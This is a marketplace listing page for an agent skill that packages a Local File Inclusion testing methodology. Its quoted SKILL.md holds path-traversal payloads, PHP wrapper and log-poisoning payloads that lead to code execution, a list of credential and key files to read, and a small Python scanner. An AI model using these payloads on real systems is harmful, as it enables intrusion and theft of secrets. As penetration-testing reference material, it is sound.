Skip to content
Agentmart
Submit a tool

lfi

Local File Inclusion testing methodology

Skill by omkar-ukirde

IndexedMIT
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/omkar-ukirde-lfi

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

Local File Inclusion testing methodology

Use cases: testing

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/lfi

What's inside

Skill name
lfi
Description
Local File Inclusion testing methodology
License
MIT
Instructions
127 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network
  • Instructions read files in your home folder (~/.ssh, ~/.aws…)

Files (1)

  • SKILL.md

SKILL.md (first lines)

# LFI Testing Methodology

## Overview
LFI allows attackers to include files from the server, potentially reading sensitive data or achieving RCE.

## Basic Payloads
```
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
....\/....\/....\/etc/passwd
```

## Null Byte Injection (PHP <5.3)
```
../../../etc/passwd%00
../../../etc/passwd%00.jpg
```

## Path Truncation (Windows)
```
../../../etc/passwd.......................
```

## Wrapper Payloads

### PHP Filters
```
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
```

### PHP Input (RCE)
```
php://input
POST data: <?php system('id'); ?>
```

### Data Wrapper
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
```

### Expect Wrapper
```
expect://id
```

### ZIP Wrapper
```
zip://shell.jpg%23shell.php
```

## Common Files to Read

### Linux
```
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
~/.ssh/id_rsa
```

### Windows
```
C:\Windows\System32\config\SAM
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
```

### Application
```
../config/database.yml
../.env
../wp-config.php
```

## Log Poisoning (RCE)
```
# Inject PHP in User-Agent
User-Agent: <?php system($_GET['cmd']); ?>

# Include the log
../../../var/log/apache2/access.log&cmd=id
```

## PoC Template
```python
import requests
import base64

def test_lfi(url, param):
    payloads = [
        '../../../etc/passwd',
        'php://filter/convert.base64-encode/resource=/etc/passwd',
    ]
    
    for payload in payloads:
        r = requests.get(url, params={param: payload})
        
        if 'root:' in r.text:
            print(f"[+] LFI found with: {payload}")
            return True
        
        # Check for base64 encoded output
        try:
            decoded = base64.b64decode(r.text)
            if b'root:' in decoded:
                print(f"[+] LFI found (base64): {payload}")
                return True
        except:
            pass
    
    return False
```

From omkar-ukirde/RedStrike.AI, MIT.

Signals

Stars
0
Forks
0
Open issues
0
Last commit (this folder)
Jan 30, 2026 (9 months ago)

From GitHub (fetched Oct 24, 2026).

Details

License
MIT
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

More from omkar-ukirde

Cite this page

lfi skill. Agent Mart. https://agentmart.dev/skills/omkar-ukirde-lfi (last updated 2026-10-24)